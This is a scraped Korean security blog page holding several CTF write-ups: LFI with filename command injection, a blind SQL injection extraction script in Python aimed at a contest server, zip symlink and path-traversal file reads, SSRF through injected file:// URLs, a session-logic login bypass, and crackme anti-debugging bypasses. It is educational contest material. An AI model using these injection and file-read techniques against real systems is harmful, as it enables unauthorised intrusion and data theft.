들어가보면 다음과 같은 로그인페이지가 나온다.

 

 

a/a 로 로그인시도해보면 guest로 로그인되고 메인페이지로 리다이렉트된다.

 

 

 

취약점 벡터는 page파라미터에서 LFI가 터져 쉽게 찾을 수 있었다.

 

먼저 php://filter를 사용해서 user.php 코드를 확인해봤다.

 

 

include전에 filter_directory라는 함수를 호출하는걸 확인할 수 있었고 함수가 존재하는 function.php 코드를 확인해봤다.

 

 

filter_directory함수에서 "flag","manage","ffffllllaaaaggg" 문자열을 필터링하고 있는것을 확인할 수 있었다. 근데 해당값을 parse_url을 통해 값을 얻어와 비교하고 있어 //을써서 우회 후 ffffllllaaaaggg 파일을 다운로드 해 코드를 확인했다.

 

 

 

 

m4aaannngggeee라는 문자열을 찾았다고 하는걸 보니 파일명인가싶어서 lfi로 다시 코드를 확인해봤다.

 

 

코드 upload2323233333.php 코드가 있을거라고 생각하고 lfi 및 접근을 시도해봤지만 존재하지 않는 듯 했다. 그래서 일단 위 코드의 html파일에 접근하기 위해 다음과 같이 호출을했더니 업로드 가능한 페이지가 나왔다.

 

 

 

파일 업로드를 해보니 요청한 파일을 내용을 html내에 아예 박아버리고 있어 업로드를 통해서 시스템권한을 따기는 힘들어보였고 업로드 처리해주는 페이지의 코드를 확인해봤다.

 

 

코드를 보면 업로드 후 파일내용을 base64로 인코딩해서 img태그에 박아넣고 업로드된 파일은 삭제하는걸 확인할 수 있었다. 이 때 파일명이 system 함수에 동적으로 들어가 Code Injection이 가능했다.

 

요런식으로 현재폴더내 파일을 확인해봤는데 flag관련된 파일을 딱히 없는것 같았다.

 

 

상위폴더를 확인해봤더니 flag관련 파일이 존재했고 해당 파일내용을 보니 플래그가 있었다.

 

 

 

 

 

 

 

'CTF > Writeup' 카테고리의 다른 글

SunshineCTF Evaluation  (0) 2018.04.07
N1CTF 2018 77777 2  (0) 2018.03.13
N1CTF 2018 77777  (0) 2018.03.12
Truststealth CTF 2018 Custom Storage (DelspoN) 500  (0) 2018.03.08
Pragyan CTF 2018 animal-attack(200pts)  (0) 2018.03.04
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

N1CTF 2018 77777

CTF/Writeup 2018. 3. 12. 14:56

글쓴 시점에 대회가 진행중이라 대회종료 후 게시글은 공개글로 전환하도록 하겠다.

 

들어가보면 별다른 기능은없고 소스코드를 다음과 같은 식으로 보여준다.

 

 

flag 파라미터값은 %d로 뿌려지기때문에 정수로 모두 변환되어 hi파라미터에서 인젝션을 터트리면된다. 근데 waf라는 함수가 입력값 검증을 해 테스트해본 결과 몇몇 키워드 및 비교연산자들을 필터링하고 있었다. 다음과 같이 페이로드 짜서 admin 패스워드값(flag)을 구했다.

import urllib2

def request(data):
url = "http://47.75.14.48/"
req = urllib2.Request(url,data)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
response = urllib2.urlopen(req).read()

if "1001" in str(response):
return True
else:
return False

length = 0
for i in range(0,100):
payload = "flag=1&hi=" + urllib2.quote("+if(!strcmp(length(password),"+str(i)+"),1000,0)")
if request(payload)==True:
print "[*]Find Admin Length = " + str(i)
length = i
break
password = ""
for i in range(1,length+1):
for j in range(32,128):
payload = "flag=1&hi=" + urllib2.quote("+if(!strcmp(ord(mid(password," + str(i) + ",1)),"+str(j)+"),1000,0)")
if request(payload)==True:
password += chr(j)
break

print "[*]Find Admin Password = "+password
print "[*]Find flag= N1CTF{"+password+"}"

[*]Find Admin Length = 13
[*]Find Admin Password = he3l3locat233
[*]Find flag= N1CTF{he3l3locat233}

 

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

이문제는 한번쭉 문제풀 때 메뉴랑 기능이 여러개 있어서 풀기 귀찮아서 접어놨었는데 회사동기가 풀고있다해서 다시 풀어봤다.

 

여러가지 기능이 있는데 별다른 취약점이 안터진다. 업로드쪽에 php가 올라가긴하는데 경로를 알 수가 없다.

일단 문제에서 zip파일을 업로드해보라는 힌트를 주고있었기 때문에 업로드기능이 있는곳에 zip파일을 모두

올려봤다.  storage게시판에서 zip파일을 업로드하면 해당 zip파일과 zip파일을 압축해제 해 내부 파일이 같이 서버로 올라가는 걸 확인할 수 있었고 바로 그냥 심볼릭링크 걸어서 index.php 읽으면 되겠다고 생각했다.

먼저 현재 압축해제된 파일의 위치를 모르기 때문에 ../부터 ../../../../../../../../../../../../../../../../까지 하나씩 상위경로로 심볼릭링크를 걸어서 zip파일을 하나씩 올려봤다. 상위 5번 위치의 index.php에 심볼릭링크 걸어준 파일에서 index.php파일이 읽혔고 플래그가 있었다.

 

 

 

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

들어가보면 검색기능만 떡하니 하나있다. 뻔한 sqli 느낌이었는데 검색할때 js단에서 base64로 파라미터값을 인코딩해서 날리기만 할뿐 실제로 뻔한 Sqli였다. union이 필터링당하고 있어서 blind를 해야했는데 코드짜기 귀찮아서 그냥 sqmap으로 돌렸다.

 

 

 

Database: spy_database
Table: users
[2 entries]
+----------+--------------------------------------+
| username | password                             |
+----------+--------------------------------------+
| admin    | pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?} |
| test     | test                                 |
+----------+--------------------------------------+

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

들어가보면 간단한 Email/Team name을 통한 로그인 기능이 나온다.

 

 

admin으로 로그인을 해야되는데 SQLI나 Oracle Padding attack , admin          1 요런식 등의 취약점이 따로 터지지는 않고 있었다.

 

첨에 소스제공해주는걸 못보고 삽질좀하다 문제에서 소스를 제공해주길래 열어봤다.

 

login.php

 

 

 

homepage.php

 

 

소스를 보면 team_name혹은 email과 비밀번호가 일치하면 true가 반환되면서 세션의 logged_in 값이 true로 세팅된다. 로그인 성공 시 리다이렉트되는 homepage.php에서 admin으로 인증되려면 다음과 같이 세션의 logged_in , id , type값이 정상적으로 세팅되야 하는데 admin의 임의의 패스워드로 인증을하면 id , type값은 정상적으로 세팅되지만 logged_in값이 false로 세팅된다.

 

그렇다면 일단 정상 사용자로 로그인을해서 logged_in값을 세팅해놓은다음 admin의 임의의 패스워드로 인증을 시도하면 패스워드 인증 전에 id , type값이 세팅되기 때문에 id를 admin값으로 만들고 logged_in 값은 그대로 true로 유지한채 세션을 만들 수 있었다.

 

다음과 같은 순서로 접근해주니 인증이 됬다.

 

 

 

 

 

 

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

들어가보면 기사들을 볼 수 있는 사이트가 나오는데 각 기사를 클릭해보면 파라미터로 파일명을 던지고 있는것을 볼 수 있었다.

 

 

해당 파라미터에서 ...../// 이런식으로 필터링 우회해주면 경로이동이 가능한 취약점이 터졌는데 문제는 확장자로 무조건 .txt가 붙는다는 제약이 있었다. %00도 안먹히고 php 5.3에서 터지는 4096 byte 이슈도 안먹히는 것 같았다. 처음엔 include나 require일지도 모른다고 생각하고 RFI를 시도해봤는데 명령어실행이 안되고 단순히 파일내용 뿌려주는걸로보아 file_get_contents를 쓰고 있는것 같았다.

 

내가모르는 트릭이 있나하고 한참 고민하다가 일단 접어두고 다른 벡터를 찾아보기 시작했다.

 

그러다가 이미지를 가져올 때 id파라미터에서 파일다운로드가 가능한 취약점이 터지는걸 확인할 수 있었다. 파일명 뒤에 ico , png , php를 붙여보고 파일이 존재하면 다운받는 형식이었다.

 

바로 index.php를 다운로드해서 소스를 본 후 helpers.php를 확인했더니 flag관련 파일명이 있어서 뒤에 .txt붙여서 내용을 보니 플래그가 있었다.

 

 

 

 

 

 

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

글쓴시점에 아직 대회가 진행중이라 대회가 끝나고나면 해당글은 공개로 돌리도록 하겠다.


문제에 들어가보면 간단한 게시판 기능이 있는 사이트다. 문제자체는 크게 어렵지 않았는데 SQLI가 두군데서 터지는데 실제 문제풀때 쓸 부분을 나중에 찾고 먼저 찾은 Insert based Sql injection에서 시간소모를 많이했다. 회원가입할때 사이트입력하는 필드에서 SQLI가 터진다. time based insert sql injection으로 데이터를 뽑아올 수 있는 상황이었는데 코드짜서 할려고 만들다가 귀찮아서 딴방법없나하며 뒤적거렸는데 유저정보 조회할 때 union sqli가 터져서 이쪽을 좀 더 파봤다.



냥쭉 디비털어서 플래그 가져오면 되겠다 했는데 information이 필터링당하고 유저도 root가 아니라 mysql.innodb_table_stats 등의 root일 때 테이블명 구할 수 있는 케이스도 적용이 안되는 상황이었다.


여기서 살짝 멘탈나갔었는데 이것저것 보다가 요걸 발견했다.


admin으로 가입할 때 사이트에 네이버주소를 적었었는데 해당 계정정보를 조회할때 302 응답값이 출력된게 보였다. 여기서 내가입력한 사이트로 뭔가 요청을 한다는걸 알 수 있었고 SSRF구나 하고 감이 왔다.


문제에서 index.php를 읽으래서 180%20union%20select%201,2,3,4,'file:///proc/self/cwd/index.php',6 요런식으로 읽으려고 했더니 php가 필터링당하고 있었다. 


요런식으로 간단히 우회해서 플래그를 구했다.





블로그 이미지

JeonYoungSin

메모 기록용 공간

,

글쓴시점에 아직 대회가 진행중이라 대회가 끝나고나면 해당글은 공개로 돌리도록 하겠다.


들어가보면 다음과 같은 소스를 볼 수 있다.



파라미터와 파라미터값을 통해 php함수를 실행시킬 수 있는 구조인데 flag파일을 읽기 위해 쓸수있는 대부분의 함수와 관련된 문자열이 필터링되고 있다.


잘보니까 include나 require 이 없길래 이놈들 활용해서 플래그출력하려했더니 서버에러가 자꾸 떴다. 필터링은 안당하는데 일단 사용은 못하는것 같아서 접어두고 다른함수를 좀 생각해보다 show_source로 읽어오면 되겠다 생각했는데 _가 필터링당하고 있었다.


전에 ctf write up들 보다가 php에 _관련된 트릭이 있었다고 본 기억이 나서 show$브루트포싱지점$source 요런식으로 _위치에다가 이것저것 값을 다 때려박고 브루트포싱했더니 _대신 공백이 들어가면 우회가 되는걸 볼 수 있었다. 어떤 이유로 우회가 되는지는 잘 모르고 일단 풀긴했는데 좀 제대로 알아봐야겠다는 생각이 들었다.


 

나중에 _트릭공부하면서 다시 시도하려다 알게됬는데 문제가 깨진것 같다. preg_match가 제대로 동작을 안해서 필터링함수가 모두 사용가능한 상황이었다..

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

글쓴시점에 아직 대회가 진행중이라 대회가 끝나고나면 해당글은 공개로 돌리도록 하겠다.


들어가보면 다음과 같이 등록기능과 조회 기능 두가지가 존재한다.



archive.is가 뭐하는 건지 몰랐는데 찾아보니까 현재 존재하는 페이지에 대해서 스냅샷과 같은 개념으로 저장시켜놓고 나중에 이 페이지가 날라가도 저장된 페이지를 조회할 수 있다는 대충 뭐 그런 개념인 것 같았다.


그렇다면 위의 문서 저장 기능에서 내가원하는 url주소를 입력하면 해당 url 및 내용이 디비에 저장될 거라고 생각했다.


실제로 기능을 사용해 보니 내가 저장한 페이지를 검새기능을 통해 조회하면 실제 페이지 내용이 출력되는 것을 확인할 수 있었다.


여기까지 확인하고 그럼 저장할때 url대신 file://./index.php 요런식으로 입력해주면 서버 내 index.php파일의 내용을 읽어와 출력해줄거라고 생각하고 시도해봤는데 file을 필터링하고 있었다.


여기서 대충 SSRF겠다 생각이 들었고 일단은 필터링때문에 SSRF만 가지고 뭘 할 수 없을 것 같아 다른 취약점을 찾았는데 문서 저장할때 insert sql injection이 터지는걸 확인할 수 있었다.


끝났다 생각하고 123',0,1,20180303),(1,0x66696c653a2f2f2e2f696e6465782e706870,1,1,20180304)# 요런식으로 file://./index.php 삽입해서 접근해보면 되겠다 생각했는데 강제로 삽입한 file://./index.php 부분이 조회가 안되고 있었다.


뭐지 하고 생각하다가 업로드된 게시글에 914번이 비어있는걸 보니 업로드는 됬는데 리스트 페이지 접근시 안보이는거다 생각했고 리스트 페이지에는 데이터뽑아올 기준이 되는게 세션밖에 없었으므로 세션값이 문서저장시에 같이 박히고 있겠구나라고 추측할 수 있었다.


그렇다면 문서저장시 사용하는 쿼리구조에 대해 파악해서 세션관련 데이터뽑아주고 이 데이터도file://./index.php 넣을때 같이 넣어주면 되겠다고 생각했다.


우선 요런식으로 문서저장시 사용되는 쿼리에 대해 조회를 했다.



쿼리를 잘 보면 id부분에 세션관련된 값이 저장되고 있는걸 확인할 수 있었다. 근데 전체데이터가 안나오고 잘려 나오고 있어 substring으로 정확한 세션관련값을 가져왔다.



이제 구한 세션값을 토대로 file://./index.php를 읽어오는 쿼리를 삽입해줬다.


여기서 멘탈이 한번더 나갔는데 경로조작해가면서 index.php읽어볼려고 이것저것 넣어봤는데 죄다 실패했다. index.php가 존재하는 절대경로를 알아내야 했는데 딱히 방법이 떠오르지가 않았다. 그래서 경로관련해서 이것저것 찾아보다가 이런걸 발견했다.

/proc/self/cwd/란 놈인데 대충 현재 디렉토리와 같은 개념으로 사용할 수 있다고 한다. 

요걸 활용해서 file:///proc/self/cwd/index.php로 시도해봤더니 플래그가 나왔다.






블로그 이미지

JeonYoungSin

메모 기록용 공간

,

바이너리를 실행해보면 패스워드값 입력 후 정답여부를 출력한다.

 

디버깅 해보면 패스워드값은 I have a pen.으로 쉽게 구할 수 있는데 그 다음부터 쭉 안티디버깅 코드들이 나온다. 하나씩 우회해주면된다.

 

패스워드 값 확인.

 

 

 

 

IsDebuggerPresent 실행 후 리턴값 0으로 변경하여 우회.

 

 

 

 

 

CALL 00401120을 통해 리턴된 PEB.NtGlobalFlag값을 0으로 변경하여 우회.

 

 

 

 

CheckRemoteDebuggerPresent 실행 후 리턴값 0으로 변경하여 우회.

 

 

 

 

GetickCount를 두번호출해서 타이밍 체크를 하고 있어 구해진 시간차값을 3E8보다 작게만들어서 우회.

 

 

 

 

 

특정파일을 생성한 뒤 결과를 가지고 검증하는데 이부분은 내환경에서 안티디버깅에 안걸려서 그냥 진행.

 

 

 

 

각 프로그램들이 실행되어있는지 확인. 각 문자열들을 모두 NULL처리해서 우회.

 

 

 

 

 

VMware 실행여부 판단할때 호출하는 함수 내에서 예외가 발생하도록 되어있어서 디버기 프로세스한테 예외처리하도록 넘기고 진행.

 

 

 

 

 

0으로 나누기를해서 강제 예외 발생시키고 있길래 디버기 프로세스한테 예외처리 넘기고 진행.

 

 

 

 

 

디버그 탐지 후 종료하는 로직안타도록 Flag값 수정을 통해 점프문 조작.

 

 

 

 

문자열 디코딩 후 메시지박스 호출하는 로직으로 들어가도록 점프문 조작.

 

 

 

Flag = SECCON{check_Ascii85}

 

 

블로그 이미지

JeonYoungSin

메모 기록용 공간

,